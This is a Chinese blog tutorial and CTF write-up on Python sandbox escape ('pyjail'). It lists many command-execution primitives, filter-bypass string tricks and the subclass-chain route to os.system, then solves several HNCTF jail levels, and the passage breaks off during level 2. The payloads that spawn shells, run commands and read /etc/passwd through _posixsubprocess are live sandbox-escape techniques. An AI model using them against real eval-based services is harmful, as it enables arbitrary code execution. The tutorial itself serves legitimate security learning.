目录

  1. 1. 前言
  2. 2. eval 与 exec
  3. 3. Python 各种系统命令执行
    1. 3.1. os 命令执行
  4. 4. import
  5. 5. 字符串操作
  6. 6. 核心模块
    1. 6.1. sys.modules
      1. 6.1.1. del 重载
    2. 6.2. builtins
      1. 6.2.1. reload 重载
      2. 6.2.2. 继承链绕过 no builtins
  7. 7. Audit Hook
  8. 8. 实战
    1. 8.1. beginner
    2. 8.2. python2 input(JAIL)
    3. 8.3. level 1
    4. 8.4. level 2
    5. 8.5. level 2.5
    6. 8.6. level 3
    7. 8.7. lake lake lake
    8. 8.8. l@ke l@ke l@ke
    9. 8.9. laKe laKe laKe
      1. 8.9.1. 多语句执行
      2. 8.9.2. 恢复生成随机数之前的状态
      3. 8.9.3. 法2:
    10. 8.10. lak3 lak3 lak3
    11. 8.11. level 4
      1. 8.11.1. bytes的ASCII list初始化方式
    12. 8.12. level 4.0.5
    13. 8.13. level 4.1
      1. 8.13.1. __doc__魔术方法获取字符
      2. 8.13.2. SSTI getshell
    14. 8.14. level 4.2
      1. 8.14.1. 法2:join拼接
    15. 8.15. level 4.3
    16. 8.16. level 5
      1. 8.16.1. 法2:一句话RCE一把梭
    17. 8.17. level 5.1
      1. 8.17.1. 法2:SSTI getshell

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Python Jail Re:Master

2023/6/7 杂项 沙箱逃逸 python
  |     |   总文章阅读量:

前言

python沙箱逃逸(pyjail),在这些题目中,我们往往能够交互式地用 eval 或者 exec 执行 python 代码,在这个基础上,添加各种限制,即为 jail

基础知识可以看春哥的文章

实战部分结合空白爷在 HNCTF 出的题目来学习

两年后回望,只能说想要把 SSTI、Pickle 等 python 相关的题目玩明白,必须要有 PyJail 打好基础

或许它真能改变 pyjail:https://www.cnblogs.com/LAMENTXU/articles/19101758

参考:

https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/

https://dummykitty.github.io/posts/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%8E%9F%E7%90%86/

https://xz.aliyun.com/news/1990


eval 与 exec

这两个方法无论在任何语言里都是相当危险的

eval(source, /, globals=None, locals=None)
# source (str | code object) -- 一个 Python 表达式。
# globals (dict | None) -- 全局命名空间 (默认值: None)。
# locals (mapping | None) -- 局部命名空间 (默认值: None)。

exec(source, /, globals=None, locals=None, *, closure=None)

这里 exec 比 eval 还更具影响一点,后者不支持直接执行多行代码,需要使用 compile 函数并传入 exec 模式

eval(compile('__import__("os").system("ls")', '<string>', 'exec'))

Python 各种系统命令执行

以下均需要 import 相应的库

os

commands	# python2


subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
subprocess.call('whoami', shell=True)	# py2,py3
subprocess.check_call('whoami', shell=True)	# py2,py3
subprocess.check_output('whoami', shell=True)	# py2,py3
subprocess.Popen('whoami', shell=True)	# py2,py3

timeit.sys
timeit.timeit("__import__('os').system('whoami')", number=1)

platform.os
platform.sys.modules['os'].system('ls')
platform.popen('whoami', mode='r', bufsize=-1).read()

pty.spawn('whoami')	# 仅linux
pty.os

importlib.__import__('os').system('ls')	# 仅py3

sys.modules['os'].system('whoami')

ctypes.CDLL(None).system('whoami'.encode())

threading.Thread(target=lambda: os.system('ls')).start()

__import__('multiprocessing').Process(target=lambda: __import__('os').system('ls')).start()

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)	# 不同系统之间的参数数量有差异
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

bdb.os

cgi.os
cgi.sys

# 仅交互式shell可用
help()	
help> os
!sh

os 命令执行

print(os.system('whoami'))  
print(os.popen('whoami').read())  
print(os.popen2('whoami').read()) # 2.x  
print(os.popen3('whoami').read()) # 2.x  
print(os.popen4('whoami').read()) # 2.x  

import os  
getattr(os, 'metsys'[::-1])('whoami')

getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

import

多种 import 方式

import os
import  os
import   os

__import__('os')

importlib.import_module('os')

execfile('/usr/lib/python2.7/os.py')	# python2
system('ls')

with open('/usr/lib/python3.6/os.py','r') as f:  
	exec(f.read())
system('ls')

# 库的路径获取:import sys;print(sys.path)

字符串操作

字符串反转:

__import__('so'[::-1]).system('ls')

字符串拼接:

a='o';b='s';__import__(a+b).system('ls')

???:十六进制 vs unicode vs base64 vs 字符串拼接 vs 格式化字符串

['__builtins__'] == 
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] == 
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] == 
['X19idWlsdGluc19f'.decode('base64')] == 
['__buil'+'tins__'] == 
['__buil''tins__'] == 
['__buil'.__add__('tins__')] == 
["_builtins_".join("__")] == 
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]
...

核心模块

sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。

有些库例如 os 是默认被加载进来的,但是不能直接使用(但是可以通过 sys.modules 来使用,例如 sys.modules["os"]),原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的

del 重载

一些 waf 会直接在 sys.modules 上动刀,直接把库覆写

>>> sys.modules['os'] = 'not allowed'  
>>> import os  
>>> os.system('ls')  
Traceback (most recent call last):  
File "<stdin>", line 1, in <module>  
AttributeError: 'str' object has no attribute 'system'

此时 os 就废了

需要注意的是此处不能用 del sys.modules['os'],原因:当 import 一个模块时:import A,会先检查 sys.modules 中是否已经有 A;如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A

所以删了 sys.modules['os'] 再导入只会让 Python 重新加载一次 os

那么针对上面的覆写也就有了对策,直接 del 掉它覆写的 os,重新 import 即可:

del sys.modules['os']  
import os  
os.system('ls')

还有使用 builtins 导入的方法


builtins

Python 中有很多函数不需要 import 就能直接使用,例如 chropen。之所以可以这样,是因为 Python 有个 内建模块(或者叫内建命名空间),它有一些常用函数,变量和类。

Python 对函数、变量、类等等的查找方式是按 LEGB 规则(Local -> Enclosed -> Global -> Built-in)来找的

  • builtin、__builtin__:Py2 中内建模块被命名为 __builtin__,需要 import 才能查看
  • builtins:Py3,需要 import 才能查看
  • __builtins__:Py2,Py3 两者都有

在 __builtins__ 里有很多可以利用的函数,我们可以用 __builtins__.__dict__ 查看

{'__name__': 'builtins'
 '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices."
 '__package__': ''
 '__loader__': <class '_frozen_importlib.BuiltinImporter'>
 '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in')
 '__build_class__': <built-in function __build_class__>
 '__import__': <built-in function __import__>
 'abs': <built-in function abs>
 'all': <built-in function all>
 'any': <built-in function any>
 'ascii': <built-in function ascii>
 'bin': <built-in function bin>
 'breakpoint': <built-in function breakpoint>
 'callable': <built-in function callable>
 'chr': <built-in function chr>
 'compile': <built-in function compile>
 'delattr': <built-in function delattr>
 'dir': <built-in function dir>
 'divmod': <built-in function divmod>
 'eval': <built-in function eval>
 'exec': <built-in function exec>
 'format': <built-in function format>
 'getattr': <built-in function getattr>
 'globals': <built-in function globals>
 'hasattr': <built-in function hasattr>
 'hash': <built-in function hash>
 'hex': <built-in function hex>
 'id': <built-in function id>
 'input': <built-in function input>
 'isinstance': <built-in function isinstance>
 'issubclass': <built-in function issubclass>
 'iter': <built-in function iter>
 'len': <built-in function len>
 'locals': <built-in function locals>
 'max': <built-in function max>
 'min': <built-in function min>
 'next': <built-in function next>
 'oct': <built-in function oct>
 'ord': <built-in function ord>
 'pow': <built-in function pow>
 'print': <built-in function print>
 'repr': <built-in function repr>
 'round': <built-in function round>
 'setattr': <built-in function setattr>
 'sorted': <built-in function sorted>
 'sum': <built-in function sum>
 'vars': <built-in function vars>
 'None': None
 'Ellipsis': Ellipsis
 'NotImplemented': NotImplemented
 'False': False
 'True': True
 'bool': <class 'bool'>
 'memoryview': <class 'memoryview'>
 'bytearray': <class 'bytearray'>
 'bytes': <class 'bytes'>
 'classmethod': <class 'classmethod'>
 'complex': <class 'complex'>
 'dict': <class 'dict'>
 'enumerate': <class 'enumerate'>
 'filter': <class 'filter'>
 'float': <class 'float'>
 'frozenset': <class 'frozenset'>
 'property': <class 'property'>
 'int': <class 'int'>
 'list': <class 'list'>
 'map': <class 'map'>
 'object': <class 'object'>
 'range': <class 'range'>
 'reversed': <class 'reversed'>
 'set': <class 'set'>
 'slice': <class 'slice'>
 'staticmethod': <class 'staticmethod'>
 'str': <class 'str'>
 'super': <class 'super'>
 'tuple': <class 'tuple'>
 'type': <class 'type'>
 'zip': <class 'zip'>
 '__debug__': True
 'BaseException': <class 'BaseException'>
 'Exception': <class 'Exception'>
 'TypeError': <class 'TypeError'>
 'StopAsyncIteration': <class 'StopAsyncIteration'>
 'StopIteration': <class 'StopIteration'>
 'GeneratorExit': <class 'GeneratorExit'>
 'SystemExit': <class 'SystemExit'>
 'KeyboardInterrupt': <class 'KeyboardInterrupt'>
 'ImportError': <class 'ImportError'>
 'ModuleNotFoundError': <class 'ModuleNotFoundError'>
 'OSError': <class 'OSError'>
 'EnvironmentError': <class 'OSError'>
 'IOError': <class 'OSError'>
 'EOFError': <class 'EOFError'>
 'RuntimeError': <class 'RuntimeError'>
 'RecursionError': <class 'RecursionError'>
 'NotImplementedError': <class 'NotImplementedError'>
 'NameError': <class 'NameError'>
 'UnboundLocalError': <class 'UnboundLocalError'>
 'AttributeError': <class 'AttributeError'>
 'SyntaxError': <class 'SyntaxError'>
 'IndentationError': <class 'IndentationError'>
 'TabError': <class 'TabError'>
 'LookupError': <class 'LookupError'>
 'IndexError': <class 'IndexError'>
 'KeyError': <class 'KeyError'>
 'ValueError': <class 'ValueError'>
 'UnicodeError': <class 'UnicodeError'>
 'UnicodeEncodeError': <class 'UnicodeEncodeError'>
 'UnicodeDecodeError': <class 'UnicodeDecodeError'>
 'UnicodeTranslateError': <class 'UnicodeTranslateError'>
 'AssertionError': <class 'AssertionError'>
 'ArithmeticError': <class 'ArithmeticError'>
 'FloatingPointError': <class 'FloatingPointError'>
 'OverflowError': <class 'OverflowError'>
 'ZeroDivisionError': <class 'ZeroDivisionError'>
 'SystemError': <class 'SystemError'>
 'ReferenceError': <class 'ReferenceError'>
 'MemoryError': <class 'MemoryError'>
 'BufferError': <class 'BufferError'>
 'Warning': <class 'Warning'>
 'UserWarning': <class 'UserWarning'>
 'DeprecationWarning': <class 'DeprecationWarning'>
 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>
 'SyntaxWarning': <class 'SyntaxWarning'>
 'RuntimeWarning': <class 'RuntimeWarning'>
 'FutureWarning': <class 'FutureWarning'>
 'ImportWarning': <class 'ImportWarning'>
 'UnicodeWarning': <class 'UnicodeWarning'>
 'BytesWarning': <class 'BytesWarning'>
 'ResourceWarning': <class 'ResourceWarning'>
 'ConnectionError': <class 'ConnectionError'>
 'BlockingIOError': <class 'BlockingIOError'>
 'BrokenPipeError': <class 'BrokenPipeError'>
 'ChildProcessError': <class 'ChildProcessError'>
 'ConnectionAbortedError': <class 'ConnectionAbortedError'>
 'ConnectionRefusedError': <class 'ConnectionRefusedError'>
 'ConnectionResetError': <class 'ConnectionResetError'>
 'FileExistsError': <class 'FileExistsError'>
 'FileNotFoundError': <class 'FileNotFoundError'>
 'IsADirectoryError': <class 'IsADirectoryError'>
 'NotADirectoryError': <class 'NotADirectoryError'>
 'InterruptedError': <class 'InterruptedError'>
 'PermissionError': <class 'PermissionError'>
 'ProcessLookupError': <class 'ProcessLookupError'>
 'TimeoutError': <class 'TimeoutError'>
 'open': <built-in function open>
 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit
 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit
 'copyright': Copyright (c) 2001-2021 Python Software Foundation.
 }

x.__dict__:x 内部所有属性名和属性值组成的字典
1.内置的数据类型没有 __dict__ 属性
2.每个类有自己的 __dict__ 属性,就算存着继承关系,父类的 __dict__ 并不会影响子类的 __dict__
3.对象也有自己的 __dict__ 属性,包含 self.xxx 这种实例属性

__builtins__.__dict__['__import__']('os').system('whoami')

reload 重载

和上面类似的 waf 操作,可以覆写或者 del 掉其中的危险函数:

__builtins__.__dict__['eval'] = 'not allowed'
del __builtins__.__dict__['eval']

但是在 python2 中,存在 reload 函数可以重新加载模块,这样被删除的函数就能重新加载

在 python3 中,reload 函数被移动到 imp / importlib 模块中,所以如果要使用 reload 函数,需要先导入 imp / importlib 模块

但是在我测试的 python 3.9.6 中,导入 imp 会由于 eval 已经被修改导致导入失败,导入 importlib 执行 importlib.reload(__builtins__) 也无法实现重置 eval


继承链绕过 no builtins

如果 builtins 本身被覆写的话,此时就需要尝试在其他已加载的对象中重新获取 builtins

eval(payload, {'__builtin__':{}})

Python 中,类本身具有一些静态方法,可以使用 dir() 进行查看

>>> dir(str)
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

而对于这些类的实例,可以直接调用这些静态方法,以 '' 这个字符串对象为例:

>>> ''.__class__	# 返回当前实例对象所属的类
<class 'str'>

而对于 str 类本身,由于 python 中一切皆对象,所以可以返回 str 所属的类

>>> ''.__class__.__class__	# 等价于 str.__class__
<class 'type'>

对于 type 类

>>> dir(''.__class__.__class__)	# 等价于 dir(type)
['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__dir__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__prepare__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__text_signature__', '__weakrefoffset__', 'mro']

__base____bases__,还有 __mro__, 因为 str 继承了 type 类,所以可以在 str 类下调用父类 type 里的方法

>>> ''.__class__.__base__	# __base__ 返回当前类的基类
<class 'object'>
>>> ''.__class__.__bases__	# 以元组形式返回
(<class 'object'>,)
>>> ''.__class__.__mro__	# 以元组形式返回类的继承关系
(<class 'str'>, <class 'object'>)

那么这里 str 类的基类就是 object,object 是所有类的超类

注意,经典类需要指明继承 object 才会继承它,否则不会继承:

>>> class test:
...     pass
...
>>> test.__bases__
()
>>> class test(object):
...     pass
...
>>> test.__bases__
(<type 'object'>,)

那么这个 object 类下有啥呢,这里先讲一下 type 和 object 的关系:

Python 中一切皆对象,所以 object 是所有对象的最高层父类,而 object 本身又是一个类
type 则是“类”的类,继承了 object 的同时又创建各种类,包括 object 类本身
要问两者的关系就像是先有鸡还是先有蛋一样,共生,必须同时出现

>>> type.__class__
<class 'type'>
>>> type.__base__
<class 'object'>
>>> object.__class__
<class 'type'>

所以同样的,object 也继承了 type 的方法,其中 __subclasses__ 方法可以查看引用了这个类的直接子类:

>>> class A: pass
>>> class B(A): pass
>>> A.__subclasses__()
[<class 'B'>]

现在看一下 object 类的直接子类:

>>> for i in enumerate(''.__class__.__base__.__subclasses__()): print(i)
... 
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
(17, <class 'dict_reversekeyiterator'>)
(18, <class 'dict_reversevalueiterator'>)
(19, <class 'dict_reverseitemiterator'>)
(20, <class 'odict_iterator'>)
(21, <class 'set'>)
(22, <class 'str'>)
(23, <class 'slice'>)
(24, <class 'staticmethod'>)
(25, <class 'complex'>)
(26, <class 'float'>)
(27, <class 'frozenset'>)
(28, <class 'property'>)
(29, <class 'managedbuffer'>)
(30, <class 'memoryview'>)
(31, <class 'tuple'>)
(32, <class 'enumerate'>)
(33, <class 'reversed'>)
(34, <class 'stderrprinter'>)
(35, <class 'code'>)
(36, <class 'frame'>)
(37, <class 'builtin_function_or_method'>)
(38, <class 'method'>)
(39, <class 'function'>)
(40, <class 'mappingproxy'>)
(41, <class 'generator'>)
(42, <class 'getset_descriptor'>)
(43, <class 'wrapper_descriptor'>)
(44, <class 'method-wrapper'>)
(45, <class 'ellipsis'>)
(46, <class 'member_descriptor'>)
(47, <class 'types.SimpleNamespace'>)
(48, <class 'PyCapsule'>)
(49, <class 'longrange_iterator'>)
(50, <class 'cell'>)
(51, <class 'instancemethod'>)
(52, <class 'classmethod_descriptor'>)
(53, <class 'method_descriptor'>)
(54, <class 'callable_iterator'>)
(55, <class 'iterator'>)
(56, <class 'pickle.PickleBuffer'>)
(57, <class 'coroutine'>)
(58, <class 'coroutine_wrapper'>)
(59, <class 'InterpreterID'>)
(60, <class 'EncodingMap'>)
(61, <class 'fieldnameiterator'>)
(62, <class 'formatteriterator'>)
(63, <class 'BaseException'>)
(64, <class 'hamt'>)
(65, <class 'hamt_array_node'>)
(66, <class 'hamt_bitmap_node'>)
(67, <class 'hamt_collision_node'>)
(68, <class 'keys'>)
(69, <class 'values'>)
(70, <class 'items'>)
(71, <class 'Context'>)
(72, <class 'ContextVar'>)
(73, <class 'Token'>)
(74, <class 'Token.MISSING'>)
(75, <class 'moduledef'>)
(76, <class 'module'>)
(77, <class 'filter'>)
(78, <class 'map'>)
(79, <class 'zip'>)
(80, <class '_frozen_importlib._ModuleLock'>)
(81, <class '_frozen_importlib._DummyModuleLock'>)
(82, <class '_frozen_importlib._ModuleLockManager'>)
(83, <class '_frozen_importlib.ModuleSpec'>)
(84, <class '_frozen_importlib.BuiltinImporter'>)
(85, <class 'classmethod'>)
(86, <class '_frozen_importlib.FrozenImporter'>)
(87, <class '_frozen_importlib._ImportLockContext'>)
(88, <class '_thread._localdummy'>)
(89, <class '_thread._local'>)
(90, <class '_thread.lock'>)
(91, <class '_thread.RLock'>)
(92, <class '_io._IOBase'>)
(93, <class '_io._BytesIOBuffer'>)
(94, <class '_io.IncrementalNewlineDecoder'>)
(95, <class 'posix.ScandirIterator'>)
(96, <class 'posix.DirEntry'>)
(97, <class '_frozen_importlib_external.WindowsRegistryFinder'>)
(98, <class '_frozen_importlib_external._LoaderBasics'>)
(99, <class '_frozen_importlib_external.FileLoader'>)
(100, <class '_frozen_importlib_external._NamespacePath'>)
(101, <class '_frozen_importlib_external._NamespaceLoader'>)
(102, <class '_frozen_importlib_external.PathFinder'>)
(103, <class '_frozen_importlib_external.FileFinder'>)
(104, <class 'zipimport.zipimporter'>)
(105, <class 'zipimport._ZipImportResourceReader'>)
(106, <class 'codecs.Codec'>)
(107, <class 'codecs.IncrementalEncoder'>)
(108, <class 'codecs.IncrementalDecoder'>)
(109, <class 'codecs.StreamReaderWriter'>)
(110, <class 'codecs.StreamRecoder'>)
(111, <class '_abc._abc_data'>)
(112, <class 'abc.ABC'>)
(113, <class 'dict_itemiterator'>)
(114, <class 'collections.abc.Hashable'>)
(115, <class 'collections.abc.Awaitable'>)
(116, <class 'types.GenericAlias'>)
(117, <class 'collections.abc.AsyncIterable'>)
(118, <class 'async_generator'>)
(119, <class 'collections.abc.Iterable'>)
(120, <class 'bytes_iterator'>)
(121, <class 'bytearray_iterator'>)
(122, <class 'dict_keyiterator'>)
(123, <class 'dict_valueiterator'>)
(124, <class 'list_iterator'>)
(125, <class 'list_reverseiterator'>)
(126, <class 'range_iterator'>)
(127, <class 'set_iterator'>)
(128, <class 'str_iterator'>)
(129, <class 'tuple_iterator'>)
(130, <class 'collections.abc.Sized'>)
(131, <class 'collections.abc.Container'>)
(132, <class 'collections.abc.Callable'>)
(133, <class 'os._wrap_close'>)
(134, <class '_sitebuiltins.Quitter'>)
(135, <class '_sitebuiltins._Printer'>)
(136, <class '_sitebuiltins._Helper'>)
(137, <class 'types.DynamicClassAttribute'>)
(138, <class 'types._GeneratorWrapper'>)
(139, <class 'warnings.WarningMessage'>)
(140, <class 'warnings.catch_warnings'>)
(141, <class 'itertools.accumulate'>)
(142, <class 'itertools.combinations'>)
(143, <class 'itertools.combinations_with_replacement'>)
(144, <class 'itertools.cycle'>)
(145, <class 'itertools.dropwhile'>)
(146, <class 'itertools.takewhile'>)
(147, <class 'itertools.islice'>)
(148, <class 'itertools.starmap'>)
(149, <class 'itertools.chain'>)
(150, <class 'itertools.compress'>)
(151, <class 'itertools.filterfalse'>)
(152, <class 'itertools.count'>)
(153, <class 'itertools.zip_longest'>)
(154, <class 'itertools.permutations'>)
(155, <class 'itertools.product'>)
(156, <class 'itertools.repeat'>)
(157, <class 'itertools.groupby'>)
(158, <class 'itertools._grouper'>)
(159, <class 'itertools._tee'>)
(160, <class 'itertools._tee_dataobject'>)
(161, <class 'operator.itemgetter'>)
(162, <class 'operator.attrgetter'>)
(163, <class 'operator.methodcaller'>)
(164, <class 'reprlib.Repr'>)
(165, <class 'collections.deque'>)
(166, <class '_collections._deque_iterator'>)
(167, <class '_collections._deque_reverse_iterator'>)
(168, <class '_collections._tuplegetter'>)
(169, <class 'collections._Link'>)
(170, <class 'functools.partial'>)
(171, <class 'functools._lru_cache_wrapper'>)
(172, <class 'functools.partialmethod'>)
(173, <class 'functools.singledispatchmethod'>)
(174, <class 'functools.cached_property'>)
(175, <class 'contextlib.ContextDecorator'>)
(176, <class 'contextlib._GeneratorContextManagerBase'>)
(177, <class 'contextlib._BaseExitStack'>)
(178, <class 'enum.auto'>)
(179, <enum 'Enum'>)
(180, <class 're.Pattern'>)
(181, <class 're.Match'>)
(182, <class '_sre.SRE_Scanner'>)
(183, <class 'sre_parse.State'>)
(184, <class 'sre_parse.SubPattern'>)
(185, <class 'sre_parse.Tokenizer'>)
(186, <class 're.Scanner'>)
(187, <class 'typing._Final'>)
(188, <class 'typing._Immutable'>)
(189, <class 'typing.Generic'>)
(190, <class 'typing._TypingEmpty'>)
(191, <class 'typing._TypingEllipsis'>)
(192, <class 'typing.Annotated'>)
(193, <class 'typing.NamedTuple'>)
(194, <class 'typing.TypedDict'>)
(195, <class 'typing.io'>)
(196, <class 'typing.re'>)
(197, <class 'importlib.abc.Finder'>)
(198, <class 'importlib.abc.Loader'>)
(199, <class 'importlib.abc.ResourceReader'>)
(200, <class '_distutils_hack._TrivialRe'>)
(201, <class '_distutils_hack.DistutilsMetaFinder'>)
(202, <class '_distutils_hack.shim'>)
(203, <class 'rlcompleter.Completer'>)

这里的子类有什么用呢?首先,在无法直接引入 os 的情况下,我们可以 import 一个已经导入了 os 的包来调用 os,例如 site 模块:

>>> import site
>>> site.os
<module 'os' from '/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/os.py'>

这是在模块中导入另一个模块的方式,如果是调用了一个目标模块下的类,则需要用到 __globals__

对于上面获取的子类,由于 ''.__class__.__base__.__subclasses__() 返回的是一个 list,只能用索引进行访问,恰巧其中有一个
os._wrap_close 类,接下来我们需要获取它导入的 os 模块,这里需要用到 __globals__

__globals__ 是一个特殊属性,能够以 dict 的形式返回函数(注意是函数)所在模块命名空间的所有变量,其中包含了很多已经引入的 modules。
某些内置函数并没有 __globals__ 属性,因为这些函数并不是 Python 代码定义的,而是用 C 语言或其他底层语言实现的: builtin_function_or_method 或者是 wrapper_descriptor 、method-wrapper 类型的函数,例如 rangerange.__init__''.split 、os.system 等等

在使用 __globals__ 之前,我们需要先实例化这个类的构造函数,即 __init__,然后再获取它的 __globals__

>>> ''.__class__.__base__.__subclasses__()[133].__init__
<function _wrap_close.__init__ at 0x100854160>
>>> ''.__class__.__base__.__subclasses__()[133].__init__.__globals__
{'__name__': 'os', '__doc__': "...", '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x10080a310>, '__spec__': ModuleSpec(name='os', loader=<_frozen_importlib_external.SourceFileLoader object at 0x10080a310>...'system': <function system at 0x100854550>...'popen': <function popen at 0x100854040>

可以看到这里面直接包含了 system 等一系列函数,那么就可以直接调用它命令执行

''.__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('whoami')

自动化构造类:使用列表推导式就可以在不知道类的索引的情况下,获取符合条件的类并执行

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")

Audit Hook

参考:https://xz.aliyun.com/t/16228

audit hook 是 Python 3.8 中引入的新特性。

使用审计钩子来监控和记录 Python 程序在运行时的行为,特别是那些安全敏感的行为,如文件的读写、网络通信和动态代码的执行等。和 java 的 rasp 有点类似

Python 中的审计事件包括但不限于以下几类:审计事件表 — Python 3.8.20 文档

  • import:发生在导入模块时。
  • open:发生在打开文件时。
  • exec:发生在执行Python代码时。
  • compile:发生在编译Python代码时。
  • socket:发生在创建或使用网络套接字时。
  • os.systemos.popen等:发生在执行操作系统命令时。
  • subprocess.Popensubprocess.run等:发生在启动子进程时

实战

beginner

启动靶机,下载附件

获得python源码

#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

发现存在eval可以对输入的内容进行命令执行

nc连上靶机,可以看到提供了一个python交互环境

于是我们载入os模块进行命令执行,查目录,拿flag

__import__('os').system('sh')

image-20230607115540253


python2 input(JAIL)

python2

题目源码

# It's escape this repeat!

WELCOME = '''
              _   _      ___        ___    _____             _    _ _   
             | | | |    / _ \      |__ \  |_   _|           | |  | | |  
  _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_ 
 | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
 | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_ 
 | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
 | |     __/ |                                        | |               
 |_|    |___/                                         |_|                               
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data

语法上很明显是python2语法

  • 在python 2中,input函数从标准输入接收输入,并且自动eval求值,返回求出来的值;
  • 在python 2中,raw_input函数从标准输入接收输入,返回输入字符串;
  • 在python 3中,input函数从标准输入接收输入,返回输入字符串;
  • 可以认为,python 2 input() = python 2 eval(raw_input()) = python 3 eval(input())

这题没有限制和过滤

直接命令执行即可

image-20230609195756589


level 1

chr()

跟beginner比起来多加了过滤

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

能通过eval执行任意命令,但是命令不能包含双引号、单引号、反引号、字母i和字母b

这个时候可以考虑用字符编码来进行绕过

附上生成脚本

# 原始字符串
character = "__import__('os').system('ls')"

# 获取字符串的 ASCII 码值,并转换为对应的字符
ascii_chars = [chr(ord(c)) for c in character]

# 输出结果,拼接成 "chr()+chr()+..." 的形式
ascii_str = "+".join([f"chr({ord(c)})" for c in character])
print(ascii_str)
print("对应的字符为 {}".format(eval(ascii_str)))

之后和上题一样传入即可

注意要带上eval(),才能进行命令执行,否则只是输出拼接结果

image-20230607201257446


level 2

限制长度+逃逸

跟beginner比起来多了个长度限制13

if len(input_data)>13:
    print("Oh hacker!")
    exit(0)

我们最终要执行的语句

__import__('os').system('sh')

长度明显会超过13

